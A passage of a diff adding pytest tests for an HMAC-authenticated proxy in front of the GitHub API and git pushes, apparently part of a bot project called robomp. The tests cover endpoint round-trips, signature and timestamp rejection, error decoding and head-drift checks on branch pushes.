||||
timestamp=ts,
|
||||
signature=sig,
|
||||
key=_HMAC_BYTES,
|
||||
)
|
||||
assert result.ok, result.reason
|
||||
|
||||
|
||||
# ============================================================================
|
||||
# 2. Round-trip via ASGI against a real proxy app
|
||||
# ============================================================================
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def round_trip_app(proxy_settings: Settings):
|
||||
"""A proxy app whose GitHub-side `app.state.github` answers every GH
|
||||
endpoint the GitHubProxyClient exercises in the round-trip test."""
|
||||
app = create_proxy_app(proxy_settings)
|
||||
app.state.settings = proxy_settings
|
||||
|
||||
def gh(req: httpx.Request) -> httpx.Response:
|
||||
path = req.url.path
|
||||
if path == "/repos/octo/widget":
|
||||
return httpx.Response(
|
||||
200,
|
||||
json={
|
||||
"full_name": "octo/widget",
|
||||
"default_branch": "main",
|
||||
"clone_url": "https://example/octo/widget.git",
|
||||
"private": False,
|
||||
},
|
||||
)
|
||||
if path == "/repos/octo/widget/issues/1" and req.method == "GET":
|
||||
return httpx.Response(
|
||||
200,
|
||||
json={
|
||||
"number": 1,
|
||||
"title": "T",
|
||||
"body": "B",
|
||||
"state": "open",
|
||||
"user": {"login": "alice"},
|
||||
"labels": [{"name": "bug"}],
|
||||
},
|
||||
)
|
||||
if path == "/repos/octo/widget/issues" and req.method == "GET":
|
||||
return httpx.Response(
|
||||
200,
|
||||
json=[
|
||||
{
|
||||
"number": 1,
|
||||
"title": "first",
|
||||
"state": "open",
|
||||
"user": {"login": "alice"},
|
||||
"labels": [],
|
||||
"comments": 0,
|
||||
"updated_at": "2026-01-01T00:00:00Z",
|
||||
"created_at": "2026-01-01T00:00:00Z",
|
||||
"html_url": "https://example/1",
|
||||
}
|
||||
],
|
||||
)
|
||||
if path == "/repos/octo/widget/issues/1/comments" and req.method == "GET":
|
||||
return httpx.Response(
|
||||
200,
|
||||
json=[
|
||||
{"id": 7, "user": {"login": "u"}, "body": "hi", "created_at": "2026-01-01T00:00:00Z"},
|
||||
],
|
||||
)
|
||||
if path == "/repos/octo/widget/issues/1/comments" and req.method == "POST":
|
||||
return httpx.Response(
|
||||
201,
|
||||
json={"id": 11, "user": {"login": "bot"}, "body": "posted", "created_at": "2026-01-01T00:00:00Z"},
|
||||
)
|
||||
if path == "/repos/octo/widget/pulls/2/comments":
|
||||
return httpx.Response(
|
||||
200,
|
||||
json=[
|
||||
{
|
||||
"id": 9,
|
||||
"user": {"login": "rev"},
|
||||
"body": "nit",
|
||||
"path": "a.py",
|
||||
"line": 5,
|
||||
"created_at": "2026-01-01T00:00:00Z",
|
||||
}
|
||||
],
|
||||
)
|
||||
if path == "/repos/octo/widget/pulls/2/reviews":
|
||||
return httpx.Response(
|
||||
200,
|
||||
json=[
|
||||
{
|
||||
"id": 12,
|
||||
"user": {"login": "rev"},
|
||||
"body": "approved",
|
||||
"state": "APPROVED",
|
||||
"submitted_at": "2026-01-01T00:00:00Z",
|
||||
}
|
||||
],
|
||||
)
|
||||
if path == "/user":
|
||||
return httpx.Response(200, json={"login": "robomp-bot"})
|
||||
if path == "/repos/octo/widget/pulls/4" and req.method == "GET":
|
||||
return httpx.Response(
|
||||
200,
|
||||
json={
|
||||
"number": 4,
|
||||
"html_url": "https://example/4",
|
||||
"head": {"ref": "feat", "repo": {"full_name": "octo/widget"}},
|
||||
"base": {"ref": "main"},
|
||||
"state": "open",
|
||||
"user": {"login": "robomp-bot"},
|
||||
},
|
||||
)
|
||||
if path == "/repos/octo/widget/pulls" and req.method == "POST":
|
||||
return httpx.Response(
|
||||
201,
|
||||
json={
|
||||
"number": 4,
|
||||
"html_url": "https://example/4",
|
||||
"head": {"ref": "feat"},
|
||||
"base": {"ref": "main"},
|
||||
"state": "open",
|
||||
},
|
||||
)
|
||||
if path == "/repos/octo/widget/pulls/4/requested_reviewers":
|
||||
return httpx.Response(201, json={})
|
||||
if path == "/repos/octo/widget/issues/1/labels":
|
||||
return httpx.Response(200, json=[{"name": "triage"}])
|
||||
if path == "/repos/octo/widget/issues/1/assignees":
|
||||
return httpx.Response(201, json={})
|
||||
return httpx.Response(404, json={"message": f"unrouted {req.method} {path}"})
|
||||
|
||||
_attach_gh(app, gh)
|
||||
return app
|
||||
|
||||
|
||||
async def test_round_trip_all_endpoints(round_trip_app) -> None:
|
||||
client = GitHubProxyClient(
|
||||
base_url="http://proxy.test",
|
||||
hmac_key=_HMAC,
|
||||
transport=httpx.ASGITransport(app=round_trip_app),
|
||||
)
|
||||
repo = await client.get_repo("octo/widget")
|
||||
assert isinstance(repo, RepoInfo)
|
||||
assert repo.full_name == "octo/widget"
|
||||
|
||||
issue = await client.get_issue("octo/widget", 1)
|
||||
assert isinstance(issue, IssueInfo)
|
||||
assert issue.labels == ("bug",)
|
||||
|
||||
issues = await client.list_issues("octo/widget")
|
||||
assert len(issues) == 1 and isinstance(issues[0], IssueSummary)
|
||||
|
||||
comments = await client.list_comments("octo/widget", 1)
|
||||
assert len(comments) == 1 and isinstance(comments[0], CommentInfo)
|
||||
|
||||
rcs = await client.list_review_comments("octo/widget", 2)
|
||||
assert len(rcs) == 1 and isinstance(rcs[0], ReviewCommentInfo)
|
||||
assert rcs[0].line == 5
|
||||
|
||||
prs = await client.list_pr_reviews("octo/widget", 2)
|
||||
assert len(prs) == 1 and isinstance(prs[0], PullRequestReviewInfo)
|
||||
|
||||
assert await client.get_authenticated_login() == "robomp-bot"
|
||||
|
||||
existing_pr = await client.get_pull_request("octo/widget", 4)
|
||||
assert isinstance(existing_pr, PullRequestInfo)
|
||||
assert existing_pr.head_ref == "feat"
|
||||
assert existing_pr.author == "robomp-bot"
|
||||
|
||||
posted = await client.post_comment("octo/widget", 1, "hi")
|
||||
assert isinstance(posted, CommentInfo)
|
||||
assert posted.id == 11
|
||||
|
||||
pr = await client.open_pull_request(repo="octo/widget", head="feat", base="main", title="t", body="b")
|
||||
assert isinstance(pr, PullRequestInfo)
|
||||
assert pr.number == 4
|
||||
|
||||
# request_reviewers returns None on success.
|
||||
assert await client.request_reviewers(repo="octo/widget", pr_number=4, reviewers=["alice"]) is None
|
||||
|
||||
labels = await client.add_issue_labels("octo/widget", 1, ["triage"])
|
||||
assert labels == ("triage",)
|
||||
|
||||
assert await client.add_assignees("octo/widget", 1, ["alice"]) is None
|
||||
|
||||
|
||||
async def test_list_comment_reactions_round_trip(proxy_settings: Settings) -> None:
|
||||
app = create_proxy_app(proxy_settings)
|
||||
app.state.settings = proxy_settings
|
||||
|
||||
def gh(req: httpx.Request) -> httpx.Response:
|
||||
if req.url.path == "/repos/octo/widget/issues/comments/999/reactions":
|
||||
assert req.url.params.get("content") == "-1"
|
||||
return httpx.Response(
|
||||
200,
|
||||
json=[
|
||||
{"content": "-1", "user": {"login": "alice", "type": "User"}},
|
||||
],
|
||||
)
|
||||
return httpx.Response(404, json={"message": "unrouted"})
|
||||
|
||||
_attach_gh(app, gh)
|
||||
client = GitHubProxyClient(
|
||||
base_url="http://proxy.test",
|
||||
hmac_key=_HMAC,
|
||||
transport=httpx.ASGITransport(app=app),
|
||||
)
|
||||
reactions = await client.list_comment_reactions("octo/widget", 999)
|
||||
assert reactions == (ReactionInfo(content="-1", user_login="alice", user_type="User"),)
|
||||
|
||||
|
||||
async def test_close_issue_round_trip(proxy_settings: Settings) -> None:
|
||||
captured: dict[str, object] = {}
|
||||
app = create_proxy_app(proxy_settings)
|
||||
app.state.settings = proxy_settings
|
||||
|
||||
def gh(req: httpx.Request) -> httpx.Response:
|
||||
if req.url.path == "/repos/octo/widget/issues/7" and req.method == "PATCH":
|
||||
captured["body"] = json.loads(req.content)
|
||||
return httpx.Response(200, json={})
|
||||
return httpx.Response(404, json={"message": "unrouted"})
|
||||
|
||||
_attach_gh(app, gh)
|
||||
client = GitHubProxyClient(
|
||||
base_url="http://proxy.test",
|
||||
hmac_key=_HMAC,
|
||||
transport=httpx.ASGITransport(app=app),
|
||||
)
|
||||
assert await client.close_issue("octo/widget", 7) is None
|
||||
assert captured["body"] == {"state": "closed", "state_reason": "completed"}
|
||||
|
||||
|
||||
# ============================================================================
|
||||
# 3. Error decode
|
||||
# ============================================================================
|
||||
|
||||
|
||||
async def test_error_decode_github_422() -> None:
|
||||
def handler(_: httpx.Request) -> httpx.Response:
|
||||
return httpx.Response(
|
||||
422,
|
||||
json={"error": {"kind": "github", "status": 422, "message": "x"}},
|
||||
)
|
||||
|
||||
client = GitHubProxyClient(
|
||||
base_url="http://proxy.test",
|
||||
hmac_key=_HMAC,
|
||||
transport=httpx.MockTransport(handler),
|
||||
)
|
||||
with pytest.raises(GitHubError) as exc:
|
||||
await client.post_comment("octo/widget", 1, "hi")
|
||||
assert exc.value.status == 422
|
||||
assert exc.value.message == "x"
|
||||
|
||||
|
||||
# ============================================================================
|
||||
# 4 + 5. ProxyGitTransport push (happy + HEAD drift)
|
||||
# ============================================================================
|
||||
|
||||
|
||||
def test_proxy_git_transport_push_happy(proxy_settings: Settings, upstream_repo: Path) -> None:
|
||||
branch = "farm/abc/feat"
|
||||
_, head = _stage_workspace(proxy_settings, upstream_repo, "octo/widget", 1, branch)
|
||||
app = create_proxy_app(proxy_settings)
|
||||
app.state.settings = proxy_settings
|
||||
_attach_gh(app, lambda _: httpx.Response(500, json={"message": "should not be hit"}))
|
||||
|
||||
transport = ProxyGitTransport(
|
||||
base_url="http://proxy.test",
|
||||
hmac_key=_HMAC,
|
||||
transport=_SyncASGIBridge(app),
|
||||
)
|
||||
result = transport.push_branch(
|
||||
repo="octo/widget",
|
||||
workspace_key=workspace_key("octo/widget", 1),
|
||||
repo_dir=Path(proxy_settings.workspace_root) / workspace_key("octo/widget", 1) / "repo",
|
||||
branch=branch,
|
||||
expected_head=head,
|
||||
)
|
||||
assert result.head == head
|
||||
assert result.branch == branch
|
||||
assert _bare_has_branch(upstream_repo, branch)
|
||||
|
||||
|
||||
def test_proxy_git_transport_push_head_drift(proxy_settings: Settings, upstream_repo: Path) -> None:
|
||||
branch = "farm/abc/drift"
|
||||
_, _ = _stage_workspace(proxy_settings, upstream_repo, "octo/widget", 1, branch)
|
||||
app = create_proxy_app(proxy_settings)
|
||||
app.state.settings = proxy_settings
|
||||
_attach_gh(app, lambda _: httpx.Response(500, json={"message": "should not be hit"}))
|
||||
|
||||
transport = ProxyGitTransport(
|
||||
base_url="http://proxy.test",
|
||||
hmac_key=_HMAC,
|
||||
transport=_SyncASGIBridge(app),
|
||||
)
|
||||
with pytest.raises(HeadDriftError):
|
||||
transport.push_branch(
|
||||
repo="octo/widget",
|
||||
workspace_key=workspace_key("octo/widget", 1),
|
||||
repo_dir=Path(proxy_settings.workspace_root) / workspace_key("octo/widget", 1) / "repo",
|
||||
branch=branch,
|
||||
expected_head="0" * 40,
|
||||
)
|
||||
assert not _bare_has_branch(upstream_repo, branch)
|
||||
|
||||
|
||||
def test_proxy_git_transport_push_slot_uid_body() -> None:
|
||||
captured: list[dict[str, object]] = []
|
||||
|
||||
def handler(request: httpx.Request) -> httpx.Response:
|
||||
captured.append(json.loads(request.content))
|
||||
return httpx.Response(200, json={"head": "abc123", "branch": "farm/abc/feat"})
|
||||
|
||||
transport = ProxyGitTransport(
|
||||
base_url="http://proxy.test",
|
||||
hmac_key=_HMAC,
|
||||
transport=httpx.MockTransport(handler),
|
||||
)
|
||||
transport.push_branch(
|
||||
repo="octo/widget",
|
||||
workspace_key="octo__widget__1",
|
||||
repo_dir=Path("/unused"),
|
||||
branch="farm/abc/feat",
|
||||
expected_head="abc123",
|
||||
slot_uid=2001,
|
||||
)
|
||||
transport.push_branch(
|
||||
repo="octo/widget",
|
||||
workspace_key="octo__widget__1",
|
||||
repo_dir=Path("/unused"),
|
||||
branch="farm/abc/feat",
|
||||
expected_head="abc123",
|
||||
)
|
||||
|
||||
assert captured[0]["slot_uid"] == 2001
|
||||
assert "slot_uid" not in captured[1]
|
||||
|
||||
|
||||
# Sanity: signed POST headers from ProxyGitTransport._post verify cleanly.
|
||||
def test_proxy_git_transport_post_headers_verify() -> None:
|
||||
captured: list[httpx.Request] = []
|
||||
|
||||
def handler(request: httpx.Request) -> httpx.Response:
|
||||
captured.append(request)
|
||||
return httpx.Response(200, json={"pool_dir": "/tmp/x"})
|
||||
|
||||
transport = ProxyGitTransport(
|
||||
base_url="http://proxy.test",
|
||||
hmac_key=_HMAC,
|
||||
transport=httpx.MockTransport(handler),
|
||||
)
|
||||
transport.clone_pool(
|
||||
repo="octo/widget",
|
||||
clone_url="https://example/widget.git",
|
||||
default_branch="main",
|
||||
target=Path("/tmp/unused"),
|
||||
)
|
||||
assert len(captured) == 1
|
||||
req = captured[0]
|
||||
ts = req.headers.get(HEADER_TIMESTAMP)
|
||||
sig = req.headers.get(HEADER_SIGNATURE)
|
||||
assert ts and sig
|
||||
result = verify(
|
||||
method="POST",
|
||||
path="/gh/v1/git/clone",
|
||||
body=req.content or b"",
|
||||
timestamp=ts,
|
||||
signature=sig,
|
||||
key=_HMAC_BYTES,
|
||||
)
|
||||
assert result.ok, result.reason
|
||||
assert json.loads(req.content)["repo"] == "octo/widget"
|
||||
@@ -0,0 +1,993 @@
|
||||
"""HMAC + endpoint coverage for the gh-proxy FastAPI app."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import platform
|
||||
import subprocess
|
||||
import time
|
||||
from collections.abc import Callable
|
||||
from pathlib import Path
|
||||
|
||||
import httpx
|
||||
import pytest
|
||||
from pydantic import SecretStr
|
||||
|
||||
from robomp.config import Settings
|
||||
from robomp.github_client import GitHubClient
|
||||
from robomp.proxy.server import create_proxy_app
|
||||
from robomp.proxy_hmac import HEADER_SIGNATURE, HEADER_TIMESTAMP, sign
|
||||
from robomp.sandbox import workspace_key
|
||||
|
||||
_HMAC = "test-hmac-key-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
|
||||
_TOKEN = "ghp_test_token_value"
|
||||
|
||||
|
||||
# ---------- shared fixtures ----------
|
||||
|
||||
|
||||
def _build_settings(tmp_path: Path) -> Settings:
|
||||
"""Construct a Settings object for the proxy side without going through
|
||||
the orchestrator-mode mutual-exclusion validator (the proxy reads token +
|
||||
hmac key directly; the validator is geared at orchestrator deployments)."""
|
||||
cfg = Settings.model_construct(
|
||||
github_token=SecretStr(_TOKEN),
|
||||
github_webhook_secret=SecretStr("webhook-secret"),
|
||||
bot_login="robomp-bot",
|
||||
git_author_email="robomp-bot@example.invalid",
|
||||
repo_allowlist_raw="octo/widget",
|
||||
gh_proxy_url=None,
|
||||
gh_proxy_hmac_key=SecretStr(_HMAC),
|
||||
gh_proxy_bind_host="0.0.0.0",
|
||||
gh_proxy_bind_port=8081,
|
||||
workspace_root=tmp_path / "workspaces",
|
||||
sqlite_path=tmp_path / "robomp.sqlite",
|
||||
log_dir=tmp_path / "logs",
|
||||
)
|
||||
cfg.ensure_paths()
|
||||
return cfg
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def proxy_settings(tmp_path: Path) -> Settings:
|
||||
return _build_settings(tmp_path)
|
||||
|
||||
|
||||
def _git(args: list[str], cwd: Path) -> subprocess.CompletedProcess[str]:
|
||||
return subprocess.run(
|
||||
["git", *args],
|
||||
cwd=str(cwd),
|
||||
check=True,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
env=os.environ
|
||||
| {
|
||||
"GIT_AUTHOR_NAME": "t",
|
||||
"GIT_AUTHOR_EMAIL": "t@t",
|
||||
"GIT_COMMITTER_NAME": "t",
|
||||
"GIT_COMMITTER_EMAIL": "t@t",
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def upstream_repo(tmp_path: Path) -> Path:
|
||||
"""Bare local repo with one commit on `main`."""
|
||||
repo = tmp_path / "upstream.git"
|
||||
repo.mkdir()
|
||||
_git(["init", "--initial-branch=main", "--bare", str(repo)], tmp_path)
|
||||
seed = tmp_path / "seed"
|
||||
seed.mkdir()
|
||||
_git(["init", "--initial-branch=main", str(seed)], tmp_path)
|
||||
(seed / "README.md").write_text("hello\n", encoding="utf-8")
|
||||
_git(["-C", str(seed), "add", "."], tmp_path)
|
||||
_git(["-C", str(seed), "commit", "-m", "init"], tmp_path)
|
||||
_git(["-C", str(seed), "remote", "add", "origin", str(repo)], tmp_path)
|
||||
_git(["-C", str(seed), "push", "origin", "main"], tmp_path)
|
||||
return repo
|
||||
|
||||
|
||||
def _stage_workspace(cfg: Settings, upstream: Path, repo: str, number: int, branch: str) -> tuple[Path, str]:
|
||||
"""Pre-stage a workspace clone with one new commit on `branch`."""
|
||||
ws_dir = Path(cfg.workspace_root) / workspace_key(repo, number)
|
||||
ws_dir.mkdir(parents=True, exist_ok=True)
|
||||
repo_dir = ws_dir / "repo"
|
||||
_git(["clone", str(upstream), str(repo_dir)], ws_dir)
|
||||
_git(["-C", str(repo_dir), "config", "user.email", "t@t"], ws_dir)
|
||||
_git(["-C", str(repo_dir), "config", "user.name", "t"], ws_dir)
|
||||
_git(["-C", str(repo_dir), "checkout", "-b", branch], ws_dir)
|
||||
(repo_dir / "x.txt").write_text("x", encoding="utf-8")
|
||||
_git(["-C", str(repo_dir), "add", "."], ws_dir)
|
||||
_git(["-C", str(repo_dir), "commit", "-m", "x"], ws_dir)
|
||||
proc = _git(["-C", str(repo_dir), "rev-parse", "HEAD"], ws_dir)
|
||||
return repo_dir, proc.stdout.strip()
|
||||
|
||||
|
||||
def _bare_has_branch(bare: Path, branch: str) -> bool:
|
||||
proc = subprocess.run(
|
||||
["git", "-C", str(bare), "branch", "--list", branch],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=False,
|
||||
)
|
||||
return bool(proc.stdout.strip())
|
||||
|
||||
|
||||
# ---------- HMAC + signed request helpers ----------
|
||||
|
||||
|
||||
def _signed(
|
||||
method: str,
|
||||
path: str,
|
||||
body: bytes = b"",
|
||||
*,
|
||||
params: dict[str, object] | None = None,
|
||||
ts: str | None = None,
|
||||
key: bytes | None = None,
|
||||
) -> dict[str, str]:
|
||||
"""Build signed headers.
|
||||
|
||||
When `params` is supplied, the canonical signing target becomes
|
||||
`path?<query>` (matching the verifier's request-target reconstruction),
|
||||
so signed requests with query strings stay verifiable AND mutating any
|
||||
query parameter post-sign produces a 401.
|
||||
"""
|
||||
if params:
|
||||
url = httpx.URL(path, params=params)
|
||||
query = url.query.decode("ascii") if url.query else ""
|
||||
target = f"{path}?{query}" if query else path
|
||||
else:
|
||||
target = path
|
||||
timestamp, sig = sign(method=method, path=target, body=body, key=key or _HMAC.encode(), timestamp=ts)
|
||||
return {HEADER_TIMESTAMP: timestamp, HEADER_SIGNATURE: sig}
|
||||
|
||||
|
||||
def _build_app(cfg: Settings, gh_handler: Callable[[httpx.Request], httpx.Response] | None = None):
|
||||
app = create_proxy_app(cfg)
|
||||
transport = httpx.MockTransport(gh_handler) if gh_handler is not None else None
|
||||
app.state.github = GitHubClient(_TOKEN, transport=transport)
|
||||
app.state.settings = cfg
|
||||
return app
|
||||
|
||||
|
||||
async def _async_client(app) -> httpx.AsyncClient:
|
||||
return httpx.AsyncClient(
|
||||
transport=httpx.ASGITransport(app=app),
|
||||
base_url="http://proxy.test",
|
||||
)
|
||||
|
||||
|
||||
def test_read_origin_url_uses_safe_directory_and_slot_identity(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
from robomp.proxy import server as proxy_server
|
||||
|
||||
captured: dict[str, object] = {}
|
||||
repo_dir = tmp_path / "repo"
|
||||
|
||||
def fake_run(cmd: list[str], **kwargs: object) -> subprocess.CompletedProcess[str]:
|
||||
captured["cmd"] = cmd
|
||||
captured.update(kwargs)
|
||||
return subprocess.CompletedProcess(cmd, 0, "https://github.com/octo/widget.git\n", "")
|
||||
|
||||
monkeypatch.setattr("robomp.proxy.server.subprocess.run", fake_run)
|
||||
monkeypatch.setattr(
|
||||
"robomp.proxy.server._slot_subprocess_kwargs",
|
||||
lambda uid: {"user": uid, "group": uid, "extra_groups": [2000], "umask": 0o002},
|
||||
)
|
||||
|
||||
assert proxy_server._read_origin_url(repo_dir, slot_uid=2001) == "https://github.com/octo/widget.git"
|
||||
|
||||
env = captured["env"]
|
||||
assert isinstance(env, dict)
|
||||
assert env["GIT_CONFIG_COUNT"] == "1"
|
||||
assert env["GIT_CONFIG_KEY_0"] == "safe.directory"
|
||||
assert env["GIT_CONFIG_VALUE_0"] == str(repo_dir)
|
||||
assert captured["user"] == 2001
|
||||
assert captured["group"] == 2001
|
||||
assert captured["extra_groups"] == [2000]
|
||||
assert captured["umask"] == 0o002
|
||||
|
||||
|
||||
# ============================================================================
|
||||
# HMAC behavior
|
||||
# ============================================================================
|
||||
|
||||
|
||||
async def test_hmac_accept_post_comment_round_trip(proxy_settings: Settings) -> None:
|
||||
captured: dict[str, httpx.Request] = {}
|
||||
|
||||
def gh(req: httpx.Request) -> httpx.Response:
|
||||
captured["req"] = req
|
||||
return httpx.Response(
|
||||
201,
|
||||
json={
|
||||
"id": 42,
|
||||
"user": {"login": "robomp-bot"},
|
||||
"body": "hello",
|
||||
"created_at": "2026-01-01T00:00:00Z",
|
||||
},
|
||||
)
|
||||
|
||||
app = _build_app(proxy_settings, gh)
|
||||
body = b'{"repo":"octo/widget","number":1,"body":"hello"}'
|
||||
async with await _async_client(app) as client:
|
||||
resp = await client.post(
|
||||
"/gh/v1/post_comment",
|
||||
content=body,
|
||||
headers={**_signed("POST", "/gh/v1/post_comment", body), "Content-Type": "application/json"},
|
||||
)
|
||||
assert resp.status_code == 200
|
||||
assert resp.json() == {"id": 42, "author": "robomp-bot", "body": "hello", "created_at": "2026-01-01T00:00:00Z"}
|
||||
assert captured["req"].url.path == "/repos/octo/widget/issues/1/comments"
|
||||
|
||||
|
||||
async def test_hmac_reject_missing_headers(proxy_settings: Settings) -> None:
|
||||
app = _build_app(proxy_settings, lambda _: httpx.Response(200, json={}))
|
||||
async with await _async_client(app) as client:
|
||||
resp = await client.get("/gh/v1/repo", params={"repo": "octo/widget"})
|
||||
assert resp.status_code == 401
|
||||
|
||||
|
||||
async def test_hmac_reject_bad_signature(proxy_settings: Settings) -> None:
|
||||
app = _build_app(proxy_settings, lambda _: httpx.Response(200, json={}))
|
||||
async with await _async_client(app) as client:
|
||||
resp = await client.get(
|
||||
"/gh/v1/repo",
|
||||
params={"repo": "octo/widget"},
|
||||
headers={HEADER_TIMESTAMP: str(int(time.time())), HEADER_SIGNATURE: "0" * 64},
|
||||
)
|
||||
assert resp.status_code == 401
|
||||
|
||||
|
||||
async def test_hmac_reject_stale_timestamp(proxy_settings: Settings) -> None:
|
||||
app = _build_app(proxy_settings, lambda _: httpx.Response(200, json={}))
|
||||
stale = str(int(time.time()) - 120)
|
||||
headers = _signed("GET", "/gh/v1/repo", ts=stale)
|
||||
async with await _async_client(app) as client:
|
||||
resp = await client.get("/gh/v1/repo", params={"repo": "octo/widget"}, headers=headers)
|
||||
assert resp.status_code == 401
|
||||
|
||||
|
||||
# ============================================================================
|
||||
# GET endpoints
|
||||
# ============================================================================
|
||||
|
||||
|
||||
async def test_get_repo(proxy_settings: Settings) -> None:
|
||||
def gh(req: httpx.Request) -> httpx.Response:
|
||||
assert req.url.path == "/repos/octo/widget"
|
||||
return httpx.Response(
|
||||
200,
|
||||
json={
|
||||
"full_name": "octo/widget",
|
||||
"default_branch": "main",
|
||||
"clone_url": "https://github.com/octo/widget.git",
|
||||
"private": False,
|
||||
},
|
||||
)
|
||||
|
||||
app = _build_app(proxy_settings, gh)
|
||||
async with await _async_client(app) as client:
|
||||
resp = await client.get(
|
||||
"/gh/v1/repo",
|
||||
params={"repo": "octo/widget"},
|
||||
headers=_signed("GET", "/gh/v1/repo", params={"repo": "octo/widget"}),
|
||||
)
|
||||
assert resp.status_code == 200
|
||||
assert resp.json() == {
|
||||
"full_name": "octo/widget",
|
||||
"default_branch": "main",
|
||||
"clone_url": "https://github.com/octo/widget.git",
|
||||
"private": False,
|
||||
}
|
||||
|
||||
|
||||
async def test_get_issue(proxy_settings: Settings) -> None:
|
||||
def gh(req: httpx.Request) -> httpx.Response:
|
||||
assert req.url.path == "/repos/octo/widget/issues/1"
|
||||
return httpx.Response(
|
||||
200,
|
||||
json={
|
||||
"number": 1,
|
||||
"title": "T",
|
||||
"body": "B",
|
||||
"state": "open",
|
||||
"user": {"login": "alice"},
|
||||
"labels": [{"name": "bug"}],
|
||||
},
|
||||
)
|
||||
|
||||
app = _build_app(proxy_settings, gh)
|
||||
async with await _async_client(app) as client:
|
||||
resp = await client.get(
|
||||
"/gh/v1/issue",
|
||||
params={"repo": "octo/widget", "number": 1},
|
||||
headers=_signed("GET", "/gh/v1/issue", params={"repo": "octo/widget", "number": 1}),
|
||||
)
|
||||
assert resp.status_code == 200
|
||||
payload = resp.json()
|
||||
assert payload["repo"] == "octo/widget"
|
||||
assert payload["number"] == 1
|
||||
assert payload["labels"] == ["bug"]
|
||||
assert payload["is_pull_request"] is False
|
||||
|
||||
|
||||
async def test_list_issues(proxy_settings: Settings) -> None:
|
||||
def gh(req: httpx.Request) -> httpx.Response:
|
||||
assert req.url.path == "/repos/octo/widget/issues"
|
||||
return httpx.Response(
|
||||
200,
|
||||
json=[
|
||||
{
|
||||
"number": 1,
|
||||
"title": "first",
|
||||
"state": "open",
|
||||
"user": {"login": "alice"},
|
||||
"labels": [{"name": "bug"}],
|
||||
"comments": 0,
|
||||
"updated_at": "2026-01-01T00:00:00Z",
|
||||
"created_at": "2026-01-01T00:00:00Z",
|
||||
"html_url": "https://example/1",
|
||||
},
|
||||
# A PR — must be filtered out.
|
||||
{
|
||||
"number": 2,
|
||||
"title": "pr",
|
||||
"pull_request": {"url": "x"},
|
||||
"user": {"login": "alice"},
|
||||
},
|
||||
],
|
||||
)
|
||||
|
||||
app = _build_app(proxy_settings, gh)
|
||||
async with await _async_client(app) as client:
|
||||
resp = await client.get(
|
||||
"/gh/v1/issues",
|
||||
params={"repo": "octo/widget"},
|
||||
headers=_signed("GET", "/gh/v1/issues", params={"repo": "octo/widget"}),
|
||||
)
|
||||
assert resp.status_code == 200
|
||||
items = resp.json()["items"]
|
||||
assert len(items) == 1
|
||||
assert items[0]["number"] == 1
|
||||
|
||||
|
||||
async def test_list_comments(proxy_settings: Settings) -> None:
|
||||
def gh(req: httpx.Request) -> httpx.Response:
|
||||
assert req.url.path == "/repos/octo/widget/issues/1/comments"
|
||||
return httpx.Response(
|
||||
200,
|
||||
json=[
|
||||
{"id": 1, "user": {"login": "u"}, "body": "hi", "created_at": "2026-01-01T00:00:00Z"},
|
||||
],
|
||||
)
|
||||
|
||||
app = _build_app(proxy_settings, gh)
|
||||
async with await _async_client(app) as client:
|
||||
resp = await client.get(
|
||||
"/gh/v1/comments",
|
||||
params={"repo": "octo/widget", "number": 1},
|
||||
headers=_signed("GET", "/gh/v1/comments", params={"repo": "octo/widget", "number": 1}),
|
||||
)
|
||||
assert resp.status_code == 200
|
||||
assert resp.json() == {
|
||||
"items": [{"id": 1, "author": "u", "body": "hi", "created_at": "2026-01-01T00:00:00Z"}],
|
||||
}
|
||||
|
||||
|
||||
async def test_list_review_comments(proxy_settings: Settings) -> None:
|
||||
def gh(req: httpx.Request) -> httpx.Response:
|
||||
assert req.url.path == "/repos/octo/widget/pulls/1/comments"
|
||||
return httpx.Response(
|
||||
200,
|
||||
json=[
|
||||
{
|
||||
"id": 9,
|
||||
"user": {"login": "rev"},
|
||||
"body": "nit",
|
||||
"path": "a.py",
|
||||
"line": 5,
|
||||
"created_at": "2026-01-01T00:00:00Z",
|
||||
}
|
||||
],
|
||||
)
|
||||
|
||||
app = _build_app(proxy_settings, gh)
|
||||
async with await _async_client(app) as client:
|
||||
resp = await client.get(
|
||||
"/gh/v1/review_comments",
|
||||
params={"repo": "octo/widget", "pr_number": 1},
|
||||
headers=_signed("GET", "/gh/v1/review_comments", params={"repo": "octo/widget", "pr_number": 1}),
|
||||
)
|
||||
assert resp.status_code == 200
|
||||
items = resp.json()["items"]
|
||||
assert items[0]["path"] == "a.py"
|
||||
assert items[0]["line"] == 5
|
||||
|
||||
|
||||
async def test_list_pr_reviews(proxy_settings: Settings) -> None:
|
||||
def gh(req: httpx.Request) -> httpx.Response:
|
||||
assert req.url.path == "/repos/octo/widget/pulls/1/reviews"
|
||||
return httpx.Response(
|
||||
200,
|
||||
json=[
|
||||
{
|
||||
"id": 11,
|
||||
"user": {"login": "rev"},
|
||||
"body": "looks good",
|
||||
"state": "APPROVED",
|
||||
"submitted_at": "2026-01-01T00:00:00Z",
|
||||
},
|
||||
# Empty body — must be filtered out by GitHubClient.
|
||||
{"id": 12, "user": {"login": "rev"}, "body": " ", "state": "COMMENTED"},
|
||||
],
|
||||
)
|
||||
|
||||
app = _build_app(proxy_settings, gh)
|
||||
async with await _async_client(app) as client:
|
||||
resp = await client.get(
|
||||
"/gh/v1/pr_reviews",
|
||||
params={"repo": "octo/widget", "pr_number": 1},
|
||||
headers=_signed("GET", "/gh/v1/pr_reviews", params={"repo": "octo/widget", "pr_number": 1}),
|
||||
)
|
||||
assert resp.status_code == 200
|
||||
items = resp.json()["items"]
|
||||
assert len(items) == 1
|
||||
assert items[0]["state"] == "APPROVED"
|
||||
|
||||
|
||||
async def test_authenticated_login(proxy_settings: Settings) -> None:
|
||||
def gh(req: httpx.Request) -> httpx.Response:
|
||||
assert req.url.path == "/user"
|
||||
return httpx.Response(200, json={"login": "robomp-bot"})
|
||||
|
||||
app = _build_app(proxy_settings, gh)
|
||||
async with await _async_client(app) as client:
|
||||
resp = await client.get(
|
||||
"/gh/v1/authenticated_login",
|
||||
headers=_signed("GET", "/gh/v1/authenticated_login"),
|
||||
)
|
||||
assert resp.status_code == 200
|
||||
assert resp.json() == {"login": "robomp-bot"}
|
